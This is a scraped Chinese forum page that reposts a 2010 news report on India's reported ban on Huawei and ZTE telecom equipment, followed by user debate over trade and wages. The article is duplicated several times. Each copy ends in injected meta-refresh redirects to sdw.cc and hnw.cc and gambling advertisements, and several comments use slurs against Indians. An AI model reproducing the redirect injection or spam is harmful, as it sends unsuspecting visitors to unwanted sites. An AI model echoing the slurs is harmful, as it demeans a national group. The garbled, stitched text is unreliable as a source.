印度封杀中国通信设备真相调查(ZT)
来源:百度文库 编辑:超级军网 时间:2024/03/29 03:56:02
<br /><br /> 5月6日下午3点,无数双眼睛盯着股市收盘的最后落听,在上证指数和深证指数都
止跌上涨之际,中兴通讯(34.25,0.07,0.20%)仍于该天下跌2.14%。一家本报记者熟悉
的证券公司分析师慨叹说:“看来印度停止进口中国通信设备一事的影响暂时还无法结
束。”而中兴通讯、华为等中国通信设备商在印度为何会有如此遭遇,后续能否解除危
机,本报记者也进行了一番调查。
中国设备商“很受伤”
事件的主角自然是两家中国电信设备商大鳄:中兴通讯和华为。此前的4月29日,
印度媒体突然报道称,印度即将禁止进口来自中国厂商的电信设备。
资料显示,2008年华为与中兴通讯在印度的营业额就分别达到了13亿与10亿美元,
而根据中国驻印度领事馆的资料,这样的销售金额已经是当地电信设备市场占有率的25
%-33%。正因为此,印度“封杀令”事件被认为将使中国的通信企业“很受伤”。
由于华为没有上市,这一事件在中兴通讯上体现得淋漓尽致。自4月30日中兴通讯
当天一度跌停以来,中兴通讯五一之后股价也一直继续下跌。
而本报记者获悉,总部在加利福尼亚、实际运营在中国的UT斯达康也已经被列入了
黑名单,这家公司已被当地最大的手机运营商取消了订单,因为这家手机运营商被告知
,由于UT的大部分工程师和管理层都来自中国,业务也在中国,因此政府不会允许他们
之间的交易。而UT斯达康在印度引以为豪的IPTV业务也风雨飘摇。
“华为公司高管本周将与印度高官会面,希望能平息印度围绕使用华为电信设备的
安全疑虑。”对于这则外国媒体的报道,华为一位内部人士已委婉予以证实。
而不知为何,中兴通讯上市公司一直尚未对此事表态,倒是一大堆的证券公司举了
一大堆的数据力证此事对中兴通讯不会有影响。不过,中兴通讯股价仍一路下跌,只是
跌幅日渐缩小。
西方厂商也不乐观
“爱立信和诺西等西方厂商不会对此事幸灾乐祸,也不会发表评论,我们在印度的
日子同样不好过。”5月6日,爱立信中国公司一位内部人士如此说。
实际上,此事的来由是,在3G牌照竞标白热化的前夕,印度政府对所有通信设备厂
商进行了检测,华为和中兴通讯至今未通过检测,爱立信和诺西等西方厂商虽然通过检
测,但也是有条件通过,被要求签署保证书,确保“通信安全”。
从这点上来看,所谓爱立信和诺西等西方厂商“串通印度政府做手脚”的传言丝毫
站不住脚。根据国外媒体报道,主管印度通信业务的印度电信委员会委员钱德拉也于近
日说:“我们并没有禁止采购来自中国的电信设备,而是所有电信设备必须经过印度相
关部门的安全检查。”
但毕竟主要是华为和中兴通讯等中国厂商未通过检测。而事实上,之前,此事已有
多重征兆。
早在2009年8月28日,印度电信部突然召集印度主要移动运营商开会。在会议上,
印度政府要求运营商不要在印度20个比较敏感的州(沿海和边境地区)使用中国制造的电
信设备,理由是中国产电信设备可能会危害到印度的国防安全。
而过去几年,印度相关主管部门曾多次想出台相关规定,甚至召集运营商开会,号
召运营商不要采购中国电信设备,但由于中国设备商的价格实在是便宜,印度政府的这
些规定普遍遭到了运营商的制抵。
有通信业内人士介绍,印度运营商一直在与政府主管部门上演博弈。印度的运营商
太多了,有数十家之多,竞争异常激烈,新兴运营商又多,为了面对竞争,采用物美价
廉的通信设备是首要的生存之道,而华为和中兴通讯的设备正好符合需求;并且,受到
华为和中兴通讯的压力,爱立信和诺西也在印度被迫大降价,苦不堪言。
“印度对多数设备巨头而言都是单一国家最大的海外市场,对爱立信来说也是最大
的。欧洲厂家在印度也一样必须适应低成本,为何他们赚不到钱又要积极投身印度市场
?因为印度市场可通过规模效应拉低他们在全球的成本。”中兴通讯印度公司总经理黄
达斌曾如此说。
本土化或为自救道路
对于此事的结果,目前没有任何人能预料。但三电咨询资深分析师郑恒认为,首先
撑不住的不会是中兴通讯和华为,而是印度的运营商。
截至5月6日,印度3G频谱拍卖已接近尾声,覆盖全印度的3G频谱牌照价格已飙升至
约合21亿美元,有9家运营商参与了招标,尽管一再被警告投标价格“不合理”,但竞
标价仍一路走高。此次再加上可能不能购买中国设备,对他们将是“雪上加霜”。假如
大家都无法承受,印度政府不对中国设备放行都不可能。
而华为和中兴通讯也可以走另一条自救之路,即在印度研发和生产设备,印度通信
设备制造工业非常落后,正好可以弥补这一缺口。而华为近日拟向印度政府游说的理由
之一正是印度分支的董事长和董事会成员将全都是印度人,员工85%是印度人,研发团
队几乎全是印度人,华为认为其设备不构成安全威胁。
与数年前的印度政府禁止进口中国玩具完全不同,当时印度是为了保护本国工业,
认为“中国造”玩具占了印度玩具市场约60%的份额,“中国廉价产品的大量倾销导致
许多玩具制造工人失业。”而此次,采用中国通信设备符合印度市场的特点和需求,封
杀将对其本国电信业造成沉重打击。<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br /> 5月6日下午3点,无数双眼睛盯着股市收盘的最后落听,在上证指数和深证指数都
止跌上涨之际,中兴通讯(34.25,0.07,0.20%)仍于该天下跌2.14%。一家本报记者熟悉
的证券公司分析师慨叹说:“看来印度停止进口中国通信设备一事的影响暂时还无法结
束。”而中兴通讯、华为等中国通信设备商在印度为何会有如此遭遇,后续能否解除危
机,本报记者也进行了一番调查。
中国设备商“很受伤”
事件的主角自然是两家中国电信设备商大鳄:中兴通讯和华为。此前的4月29日,
印度媒体突然报道称,印度即将禁止进口来自中国厂商的电信设备。
资料显示,2008年华为与中兴通讯在印度的营业额就分别达到了13亿与10亿美元,
而根据中国驻印度领事馆的资料,这样的销售金额已经是当地电信设备市场占有率的25
%-33%。正因为此,印度“封杀令”事件被认为将使中国的通信企业“很受伤”。
由于华为没有上市,这一事件在中兴通讯上体现得淋漓尽致。自4月30日中兴通讯
当天一度跌停以来,中兴通讯五一之后股价也一直继续下跌。
而本报记者获悉,总部在加利福尼亚、实际运营在中国的UT斯达康也已经被列入了
黑名单,这家公司已被当地最大的手机运营商取消了订单,因为这家手机运营商被告知
,由于UT的大部分工程师和管理层都来自中国,业务也在中国,因此政府不会允许他们
之间的交易。而UT斯达康在印度引以为豪的IPTV业务也风雨飘摇。
“华为公司高管本周将与印度高官会面,希望能平息印度围绕使用华为电信设备的
安全疑虑。”对于这则外国媒体的报道,华为一位内部人士已委婉予以证实。
而不知为何,中兴通讯上市公司一直尚未对此事表态,倒是一大堆的证券公司举了
一大堆的数据力证此事对中兴通讯不会有影响。不过,中兴通讯股价仍一路下跌,只是
跌幅日渐缩小。
西方厂商也不乐观
“爱立信和诺西等西方厂商不会对此事幸灾乐祸,也不会发表评论,我们在印度的
日子同样不好过。”5月6日,爱立信中国公司一位内部人士如此说。
实际上,此事的来由是,在3G牌照竞标白热化的前夕,印度政府对所有通信设备厂
商进行了检测,华为和中兴通讯至今未通过检测,爱立信和诺西等西方厂商虽然通过检
测,但也是有条件通过,被要求签署保证书,确保“通信安全”。
从这点上来看,所谓爱立信和诺西等西方厂商“串通印度政府做手脚”的传言丝毫
站不住脚。根据国外媒体报道,主管印度通信业务的印度电信委员会委员钱德拉也于近
日说:“我们并没有禁止采购来自中国的电信设备,而是所有电信设备必须经过印度相
关部门的安全检查。”
但毕竟主要是华为和中兴通讯等中国厂商未通过检测。而事实上,之前,此事已有
多重征兆。
早在2009年8月28日,印度电信部突然召集印度主要移动运营商开会。在会议上,
印度政府要求运营商不要在印度20个比较敏感的州(沿海和边境地区)使用中国制造的电
信设备,理由是中国产电信设备可能会危害到印度的国防安全。
而过去几年,印度相关主管部门曾多次想出台相关规定,甚至召集运营商开会,号
召运营商不要采购中国电信设备,但由于中国设备商的价格实在是便宜,印度政府的这
些规定普遍遭到了运营商的制抵。
有通信业内人士介绍,印度运营商一直在与政府主管部门上演博弈。印度的运营商
太多了,有数十家之多,竞争异常激烈,新兴运营商又多,为了面对竞争,采用物美价
廉的通信设备是首要的生存之道,而华为和中兴通讯的设备正好符合需求;并且,受到
华为和中兴通讯的压力,爱立信和诺西也在印度被迫大降价,苦不堪言。
“印度对多数设备巨头而言都是单一国家最大的海外市场,对爱立信来说也是最大
的。欧洲厂家在印度也一样必须适应低成本,为何他们赚不到钱又要积极投身印度市场
?因为印度市场可通过规模效应拉低他们在全球的成本。”中兴通讯印度公司总经理黄
达斌曾如此说。
本土化或为自救道路
对于此事的结果,目前没有任何人能预料。但三电咨询资深分析师郑恒认为,首先
撑不住的不会是中兴通讯和华为,而是印度的运营商。
截至5月6日,印度3G频谱拍卖已接近尾声,覆盖全印度的3G频谱牌照价格已飙升至
约合21亿美元,有9家运营商参与了招标,尽管一再被警告投标价格“不合理”,但竞
标价仍一路走高。此次再加上可能不能购买中国设备,对他们将是“雪上加霜”。假如
大家都无法承受,印度政府不对中国设备放行都不可能。
而华为和中兴通讯也可以走另一条自救之路,即在印度研发和生产设备,印度通信
设备制造工业非常落后,正好可以弥补这一缺口。而华为近日拟向印度政府游说的理由
之一正是印度分支的董事长和董事会成员将全都是印度人,员工85%是印度人,研发团
队几乎全是印度人,华为认为其设备不构成安全威胁。
与数年前的印度政府禁止进口中国玩具完全不同,当时印度是为了保护本国工业,
认为“中国造”玩具占了印度玩具市场约60%的份额,“中国廉价产品的大量倾销导致
许多玩具制造工人失业。”而此次,采用中国通信设备符合印度市场的特点和需求,封
杀将对其本国电信业造成沉重打击。<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台
止跌上涨之际,中兴通讯(34.25,0.07,0.20%)仍于该天下跌2.14%。一家本报记者熟悉
的证券公司分析师慨叹说:“看来印度停止进口中国通信设备一事的影响暂时还无法结
束。”而中兴通讯、华为等中国通信设备商在印度为何会有如此遭遇,后续能否解除危
机,本报记者也进行了一番调查。
中国设备商“很受伤”
事件的主角自然是两家中国电信设备商大鳄:中兴通讯和华为。此前的4月29日,
印度媒体突然报道称,印度即将禁止进口来自中国厂商的电信设备。
资料显示,2008年华为与中兴通讯在印度的营业额就分别达到了13亿与10亿美元,
而根据中国驻印度领事馆的资料,这样的销售金额已经是当地电信设备市场占有率的25
%-33%。正因为此,印度“封杀令”事件被认为将使中国的通信企业“很受伤”。
由于华为没有上市,这一事件在中兴通讯上体现得淋漓尽致。自4月30日中兴通讯
当天一度跌停以来,中兴通讯五一之后股价也一直继续下跌。
而本报记者获悉,总部在加利福尼亚、实际运营在中国的UT斯达康也已经被列入了
黑名单,这家公司已被当地最大的手机运营商取消了订单,因为这家手机运营商被告知
,由于UT的大部分工程师和管理层都来自中国,业务也在中国,因此政府不会允许他们
之间的交易。而UT斯达康在印度引以为豪的IPTV业务也风雨飘摇。
“华为公司高管本周将与印度高官会面,希望能平息印度围绕使用华为电信设备的
安全疑虑。”对于这则外国媒体的报道,华为一位内部人士已委婉予以证实。
而不知为何,中兴通讯上市公司一直尚未对此事表态,倒是一大堆的证券公司举了
一大堆的数据力证此事对中兴通讯不会有影响。不过,中兴通讯股价仍一路下跌,只是
跌幅日渐缩小。
西方厂商也不乐观
“爱立信和诺西等西方厂商不会对此事幸灾乐祸,也不会发表评论,我们在印度的
日子同样不好过。”5月6日,爱立信中国公司一位内部人士如此说。
实际上,此事的来由是,在3G牌照竞标白热化的前夕,印度政府对所有通信设备厂
商进行了检测,华为和中兴通讯至今未通过检测,爱立信和诺西等西方厂商虽然通过检
测,但也是有条件通过,被要求签署保证书,确保“通信安全”。
从这点上来看,所谓爱立信和诺西等西方厂商“串通印度政府做手脚”的传言丝毫
站不住脚。根据国外媒体报道,主管印度通信业务的印度电信委员会委员钱德拉也于近
日说:“我们并没有禁止采购来自中国的电信设备,而是所有电信设备必须经过印度相
关部门的安全检查。”
但毕竟主要是华为和中兴通讯等中国厂商未通过检测。而事实上,之前,此事已有
多重征兆。
早在2009年8月28日,印度电信部突然召集印度主要移动运营商开会。在会议上,
印度政府要求运营商不要在印度20个比较敏感的州(沿海和边境地区)使用中国制造的电
信设备,理由是中国产电信设备可能会危害到印度的国防安全。
而过去几年,印度相关主管部门曾多次想出台相关规定,甚至召集运营商开会,号
召运营商不要采购中国电信设备,但由于中国设备商的价格实在是便宜,印度政府的这
些规定普遍遭到了运营商的制抵。
有通信业内人士介绍,印度运营商一直在与政府主管部门上演博弈。印度的运营商
太多了,有数十家之多,竞争异常激烈,新兴运营商又多,为了面对竞争,采用物美价
廉的通信设备是首要的生存之道,而华为和中兴通讯的设备正好符合需求;并且,受到
华为和中兴通讯的压力,爱立信和诺西也在印度被迫大降价,苦不堪言。
“印度对多数设备巨头而言都是单一国家最大的海外市场,对爱立信来说也是最大
的。欧洲厂家在印度也一样必须适应低成本,为何他们赚不到钱又要积极投身印度市场
?因为印度市场可通过规模效应拉低他们在全球的成本。”中兴通讯印度公司总经理黄
达斌曾如此说。
本土化或为自救道路
对于此事的结果,目前没有任何人能预料。但三电咨询资深分析师郑恒认为,首先
撑不住的不会是中兴通讯和华为,而是印度的运营商。
截至5月6日,印度3G频谱拍卖已接近尾声,覆盖全印度的3G频谱牌照价格已飙升至
约合21亿美元,有9家运营商参与了招标,尽管一再被警告投标价格“不合理”,但竞
标价仍一路走高。此次再加上可能不能购买中国设备,对他们将是“雪上加霜”。假如
大家都无法承受,印度政府不对中国设备放行都不可能。
而华为和中兴通讯也可以走另一条自救之路,即在印度研发和生产设备,印度通信
设备制造工业非常落后,正好可以弥补这一缺口。而华为近日拟向印度政府游说的理由
之一正是印度分支的董事长和董事会成员将全都是印度人,员工85%是印度人,研发团
队几乎全是印度人,华为认为其设备不构成安全威胁。
与数年前的印度政府禁止进口中国玩具完全不同,当时印度是为了保护本国工业,
认为“中国造”玩具占了印度玩具市场约60%的份额,“中国廉价产品的大量倾销导致
许多玩具制造工人失业。”而此次,采用中国通信设备符合印度市场的特点和需求,封
杀将对其本国电信业造成沉重打击。<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br /> 5月6日下午3点,无数双眼睛盯着股市收盘的最后落听,在上证指数和深证指数都
止跌上涨之际,中兴通讯(34.25,0.07,0.20%)仍于该天下跌2.14%。一家本报记者熟悉
的证券公司分析师慨叹说:“看来印度停止进口中国通信设备一事的影响暂时还无法结
束。”而中兴通讯、华为等中国通信设备商在印度为何会有如此遭遇,后续能否解除危
机,本报记者也进行了一番调查。
中国设备商“很受伤”
事件的主角自然是两家中国电信设备商大鳄:中兴通讯和华为。此前的4月29日,
印度媒体突然报道称,印度即将禁止进口来自中国厂商的电信设备。
资料显示,2008年华为与中兴通讯在印度的营业额就分别达到了13亿与10亿美元,
而根据中国驻印度领事馆的资料,这样的销售金额已经是当地电信设备市场占有率的25
%-33%。正因为此,印度“封杀令”事件被认为将使中国的通信企业“很受伤”。
由于华为没有上市,这一事件在中兴通讯上体现得淋漓尽致。自4月30日中兴通讯
当天一度跌停以来,中兴通讯五一之后股价也一直继续下跌。
而本报记者获悉,总部在加利福尼亚、实际运营在中国的UT斯达康也已经被列入了
黑名单,这家公司已被当地最大的手机运营商取消了订单,因为这家手机运营商被告知
,由于UT的大部分工程师和管理层都来自中国,业务也在中国,因此政府不会允许他们
之间的交易。而UT斯达康在印度引以为豪的IPTV业务也风雨飘摇。
“华为公司高管本周将与印度高官会面,希望能平息印度围绕使用华为电信设备的
安全疑虑。”对于这则外国媒体的报道,华为一位内部人士已委婉予以证实。
而不知为何,中兴通讯上市公司一直尚未对此事表态,倒是一大堆的证券公司举了
一大堆的数据力证此事对中兴通讯不会有影响。不过,中兴通讯股价仍一路下跌,只是
跌幅日渐缩小。
西方厂商也不乐观
“爱立信和诺西等西方厂商不会对此事幸灾乐祸,也不会发表评论,我们在印度的
日子同样不好过。”5月6日,爱立信中国公司一位内部人士如此说。
实际上,此事的来由是,在3G牌照竞标白热化的前夕,印度政府对所有通信设备厂
商进行了检测,华为和中兴通讯至今未通过检测,爱立信和诺西等西方厂商虽然通过检
测,但也是有条件通过,被要求签署保证书,确保“通信安全”。
从这点上来看,所谓爱立信和诺西等西方厂商“串通印度政府做手脚”的传言丝毫
站不住脚。根据国外媒体报道,主管印度通信业务的印度电信委员会委员钱德拉也于近
日说:“我们并没有禁止采购来自中国的电信设备,而是所有电信设备必须经过印度相
关部门的安全检查。”
但毕竟主要是华为和中兴通讯等中国厂商未通过检测。而事实上,之前,此事已有
多重征兆。
早在2009年8月28日,印度电信部突然召集印度主要移动运营商开会。在会议上,
印度政府要求运营商不要在印度20个比较敏感的州(沿海和边境地区)使用中国制造的电
信设备,理由是中国产电信设备可能会危害到印度的国防安全。
而过去几年,印度相关主管部门曾多次想出台相关规定,甚至召集运营商开会,号
召运营商不要采购中国电信设备,但由于中国设备商的价格实在是便宜,印度政府的这
些规定普遍遭到了运营商的制抵。
有通信业内人士介绍,印度运营商一直在与政府主管部门上演博弈。印度的运营商
太多了,有数十家之多,竞争异常激烈,新兴运营商又多,为了面对竞争,采用物美价
廉的通信设备是首要的生存之道,而华为和中兴通讯的设备正好符合需求;并且,受到
华为和中兴通讯的压力,爱立信和诺西也在印度被迫大降价,苦不堪言。
“印度对多数设备巨头而言都是单一国家最大的海外市场,对爱立信来说也是最大
的。欧洲厂家在印度也一样必须适应低成本,为何他们赚不到钱又要积极投身印度市场
?因为印度市场可通过规模效应拉低他们在全球的成本。”中兴通讯印度公司总经理黄
达斌曾如此说。
本土化或为自救道路
对于此事的结果,目前没有任何人能预料。但三电咨询资深分析师郑恒认为,首先
撑不住的不会是中兴通讯和华为,而是印度的运营商。
截至5月6日,印度3G频谱拍卖已接近尾声,覆盖全印度的3G频谱牌照价格已飙升至
约合21亿美元,有9家运营商参与了招标,尽管一再被警告投标价格“不合理”,但竞
标价仍一路走高。此次再加上可能不能购买中国设备,对他们将是“雪上加霜”。假如
大家都无法承受,印度政府不对中国设备放行都不可能。
而华为和中兴通讯也可以走另一条自救之路,即在印度研发和生产设备,印度通信
设备制造工业非常落后,正好可以弥补这一缺口。而华为近日拟向印度政府游说的理由
之一正是印度分支的董事长和董事会成员将全都是印度人,员工85%是印度人,研发团
队几乎全是印度人,华为认为其设备不构成安全威胁。
与数年前的印度政府禁止进口中国玩具完全不同,当时印度是为了保护本国工业,
认为“中国造”玩具占了印度玩具市场约60%的份额,“中国廉价产品的大量倾销导致
许多玩具制造工人失业。”而此次,采用中国通信设备符合印度市场的特点和需求,封
杀将对其本国电信业造成沉重打击。<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台
印度这种傻逼国家就该由ITU出面拉所有的电信企业一起搞技术封锁
客观来讲,中国制造现在无论到哪儿都会受到不合理的限制,管理层是该审视一下现行的经济发展策略了,不能老是牺牲国民的利益去赚取那点可怜的不断在贬值的外汇,做了散财童子还要被人说三道四。
dodge 发表于 2010-5-8 12:30
幼稚,中国企业在海外政治因素大于经济因素。
幼稚,中国企业在海外政治因素大于经济因素。
华为要帮印度人发展通信设备制造产业?
其实是回扣没拿够````````
经济问题政治化
迟早要自讨苦吃
迟早要自讨苦吃
问题很简单,因为诺西的老总是阿三人
其实我就好奇了,别人禁止我们的,我们也禁止的别人不就好了,不相信tg这么大的市场,他们就不怕失去
hiklife 发表于 2010-5-8 12:44
难道官商勾结人为压低国内工人的工资水平,靠廉价劳动力去占领国际市场,然后被征收高额反倾销税和反补贴税就是成熟的表现吗?难道同样一件中国制造的商品国外的价格比国内低得多是成熟的表现吗?难道用一对巨乳做头像就是成熟的表现吗?
难道官商勾结人为压低国内工人的工资水平,靠廉价劳动力去占领国际市场,然后被征收高额反倾销税和反补贴税就是成熟的表现吗?难道同样一件中国制造的商品国外的价格比国内低得多是成熟的表现吗?难道用一对巨乳做头像就是成熟的表现吗?
dodge 发表于 2010-5-8 17:21
人云亦云,基本常识都没搞清楚
说得如此不堪还卖不出去,要是让你来治理,还不断了财路
现在就这样,除了低价倾销,拿什么去和国外商品竞争的。等灭了丫的,再请您老人家上台领导我们
您了上台第一件事情就是告知各大国,我们涨了工资了,赶紧承认我们市场经济地位
人云亦云,基本常识都没搞清楚
说得如此不堪还卖不出去,要是让你来治理,还不断了财路
现在就这样,除了低价倾销,拿什么去和国外商品竞争的。等灭了丫的,再请您老人家上台领导我们
您了上台第一件事情就是告知各大国,我们涨了工资了,赶紧承认我们市场经济地位
dodge 发表于 2010-5-8 17:21
现在中国制造业的问题是结构性的失衡,不提高工人的技能,又想不断提高工资水平,这可能?
现在中国制造业的问题是结构性的失衡,不提高工人的技能,又想不断提高工资水平,这可能?
dodge 发表于 2010-5-8 17:21
说你幼稚还真是说对了,印度封杀我国通信设备明显是政治因素在作怪,你到好上来狂批我国经济体制的部分不合理,你这是发泄不满还是印粉,另外头像纯属个人喜好,也能被你扯上来说:L
说你幼稚还真是说对了,印度封杀我国通信设备明显是政治因素在作怪,你到好上来狂批我国经济体制的部分不合理,你这是发泄不满还是印粉,另外头像纯属个人喜好,也能被你扯上来说:L
dodge 发表于 2010-5-8 17:21
你就给讲讲此事里涉及的华为中兴怎样官商勾结压低工资。于是造成了印度如此对待。
工资仅是成本中一项。反倾销反补贴也从来没听老外说是因为中国工资低的原因。如果是因为工资低,那名字该叫反低工资。
大体上人均收入跟人均GDP是成一定比例的。人均GDP跟发达国家差老远,却想要发达国家的人均收入,那是水中捞月。想要提高人均GDP,根本上要靠经济转型。上个世纪中国就已经开始提经济转型了。但这不是嘴皮动动就能很快实现的。
中国是需要提高一下大众的收入。新劳动法提高了最低工资标准。但是不要指望政府强行规定好扫地的多少钱,设计的多少钱,部门经理多少钱,地球上没这样的事情。收入分配调整也是现在的热门议题。
但这跟反倾销反补贴是两码事。工资了不起也就是因素之一。只要你占的市场多,抢了人家饭碗,别国肯定要找理由对付你。微软Intel被欧盟罚的钱还少吗?
并不是这样的思路:提工资导致成本提高然后在国外卖不出去,于是别人不会对付你。这样可能该叫死路一条。
中国的思路是一是不往国外卖了,在自己市场卖,也就是提高内需,降低对出口依赖。二就是经济转型,提升技术水平提升创新能力,制造更有价值利润更高的产品。企业实力提升了,政府不再补贴,别国也就找不到理由来反补贴。
中国现在主要做的是,经济转型,提高内需和收入分配调整。提高内需手段之一是收入分配调整,大众收入提高了购买力就会提高。
你就给讲讲此事里涉及的华为中兴怎样官商勾结压低工资。于是造成了印度如此对待。
工资仅是成本中一项。反倾销反补贴也从来没听老外说是因为中国工资低的原因。如果是因为工资低,那名字该叫反低工资。
大体上人均收入跟人均GDP是成一定比例的。人均GDP跟发达国家差老远,却想要发达国家的人均收入,那是水中捞月。想要提高人均GDP,根本上要靠经济转型。上个世纪中国就已经开始提经济转型了。但这不是嘴皮动动就能很快实现的。
中国是需要提高一下大众的收入。新劳动法提高了最低工资标准。但是不要指望政府强行规定好扫地的多少钱,设计的多少钱,部门经理多少钱,地球上没这样的事情。收入分配调整也是现在的热门议题。
但这跟反倾销反补贴是两码事。工资了不起也就是因素之一。只要你占的市场多,抢了人家饭碗,别国肯定要找理由对付你。微软Intel被欧盟罚的钱还少吗?
并不是这样的思路:提工资导致成本提高然后在国外卖不出去,于是别人不会对付你。这样可能该叫死路一条。
中国的思路是一是不往国外卖了,在自己市场卖,也就是提高内需,降低对出口依赖。二就是经济转型,提升技术水平提升创新能力,制造更有价值利润更高的产品。企业实力提升了,政府不再补贴,别国也就找不到理由来反补贴。
中国现在主要做的是,经济转型,提高内需和收入分配调整。提高内需手段之一是收入分配调整,大众收入提高了购买力就会提高。
兰葻湖畔 发表于 2010-5-8 16:55
能禁止阿三的什么{:3_96:}不妨列举一下
能禁止阿三的什么{:3_96:}不妨列举一下
wangxun159 发表于 2010-5-8 19:23
禁止一切有印度人参与的软件销售:D
禁止一切有印度人参与的软件销售:D
dodge 发表于 2010-5-8 17:21
怎么扯的东西都不靠谱呢
能不能自己放狗查查 现在劳动密集的产品才占出口的多大点份额?
也不看看这一年来反倾销的东西都是些什么 还好意思在这说
还有 弄个不男不女的做头像就是成熟的表现吗
怎么扯的东西都不靠谱呢
能不能自己放狗查查 现在劳动密集的产品才占出口的多大点份额?
也不看看这一年来反倾销的东西都是些什么 还好意思在这说
还有 弄个不男不女的做头像就是成熟的表现吗
回复 11# dodge
哥们显然不是通信行业的人呵!
我给你说吧:华为、中兴两个公司并不是你所说的压榨啊,他们两个公司的以前普通员工在深圳的收入是可以自己买房子的,如果是项目经理(项目经理在他们公司里面上厕所就可能遇见N个)的话,那现在在深圳也是没有问题的,你说他们收入低吗?当然可能和国外大公司比可能还有差距;
我楼上一哥们是华为的,公司股票有200万,每年分红没有低过70%的,分了N年了,那个爽啊,也就一高级项目经理。
华为中兴为深圳贡献了多少税收知道吗?如果华为、中兴搬迁离开深圳,深圳估计高科技地位都会下降了(可能还会产生很大的连带效应)
哥们显然不是通信行业的人呵!
我给你说吧:华为、中兴两个公司并不是你所说的压榨啊,他们两个公司的以前普通员工在深圳的收入是可以自己买房子的,如果是项目经理(项目经理在他们公司里面上厕所就可能遇见N个)的话,那现在在深圳也是没有问题的,你说他们收入低吗?当然可能和国外大公司比可能还有差距;
我楼上一哥们是华为的,公司股票有200万,每年分红没有低过70%的,分了N年了,那个爽啊,也就一高级项目经理。
华为中兴为深圳贡献了多少税收知道吗?如果华为、中兴搬迁离开深圳,深圳估计高科技地位都会下降了(可能还会产生很大的连带效应)
糖果屋 发表于 2010-5-8 22:11
呵呵,我的发言并不针对具体公司/事件,而是觉得应该换个角度,从自身的产业结构上考虑如何解决问题,没想到光被人揪着工资水平不放了。算了,懒得墨迹了{:wuyu:}
呵呵,我的发言并不针对具体公司/事件,而是觉得应该换个角度,从自身的产业结构上考虑如何解决问题,没想到光被人揪着工资水平不放了。算了,懒得墨迹了{:wuyu:}
发挥国粹,用糖衣炮弹攻占它吧。{:chan:}
wangxun159 发表于 2010-5-8 19:23
不许拜佛,不许练侞珈,不许吃咖喱,不许吹牛
不许拜佛,不许练侞珈,不许吃咖喱,不许吹牛
dodge 发表于 2010-5-8 22:36
礼品盒 包装带这些你说是技术含量低劳动密集倒也罢了
铜版纸 铝型材 油井管 轮胎 金属丝网托盘 无缝钢管 钢格栅板 钢绞线 热敏纸 钻杆 紧固件
这些东西基本都属于资本密集型
油井管更不用说了 也算是有点技术含量的东西了
这些也都算是前几年经济转型的部分成果
怎么你说他没技术含量他就没技术含量了?
礼品盒 包装带这些你说是技术含量低劳动密集倒也罢了
铜版纸 铝型材 油井管 轮胎 金属丝网托盘 无缝钢管 钢格栅板 钢绞线 热敏纸 钻杆 紧固件
这些东西基本都属于资本密集型
油井管更不用说了 也算是有点技术含量的东西了
这些也都算是前几年经济转型的部分成果
怎么你说他没技术含量他就没技术含量了?
wangxun159 发表于 2010-5-8 22:56
嗨,就像人和畜生是无法沟通的,你和那位也是无法沟通的了。您还是歇歇吧:handshake
嗨,就像人和畜生是无法沟通的,你和那位也是无法沟通的了。您还是歇歇吧:handshake
slf85 发表于 2010-5-8 23:10
原来不和你同路的就是畜牲,您的世界观还真是狭隘,跟您还真没啥好沟通的,我还是洗洗睡吧
原来不和你同路的就是畜牲,您的世界观还真是狭隘,跟您还真没啥好沟通的,我还是洗洗睡吧
这位显然不懂什么是倾销,以及谁判定倾销
每次出访,为什么都要向外国领导人强调承认中国市场经济地位,就是因为对方保留这个,可以有借口保护国内产业——即判定倾销,所以大幅增加关税,使得中国产品丧失了竞争力
承认市场经济地位就只能在世贸框架下解决问题了,他们就失去了保护本国产业和就业的手段
归根到底,什么经济都是政治,把它们单独看都很幼稚
另外,您的“世界观”大了点,里面少了点别的东西
这位显然不懂什么是倾销,以及谁判定倾销
每次出访,为什么都要向外国领导人强调承认中国市场经济地位,就是因为对方保留这个,可以有借口保护国内产业——即判定倾销,所以大幅增加关税,使得中国产品丧失了竞争力
承认市场经济地位就只能在世贸框架下解决问题了,他们就失去了保护本国产业和就业的手段
归根到底,什么经济都是政治,把它们单独看都很幼稚
另外,您的“世界观”大了点,里面少了点别的东西
在某些粪粪嘴里,中国造的东西都是低技术的。
snoopy007 发表于 2010-5-9 02:02
嗯,给点鸭梨也是好的么......
:D
嗯,给点鸭梨也是好的么......
:D
snoopy007 发表于 2010-5-9 02:02
其实现在的问题并不是生产了好多“低技术”的服装、纸张、机电......
而是就是这些东西俺们也没有玩利索。
很多人说,这都是低工资闹的啊。
要是木有低工资啊,大家都会努力挖技术潜力、管理潜力了.......
呃.......
当年老福特可是主动给大家涨工资的说,为啥没见TG这些“低技术”领域的老板们有如此魄力的?
显然这个问题不能怪TG不要求大家涨工资也不能怪农民工们要价太便宜吧?
不过话说一些地方的服装企业依然意识到产业链整合的重要性了,纷纷铺点,搞终端。
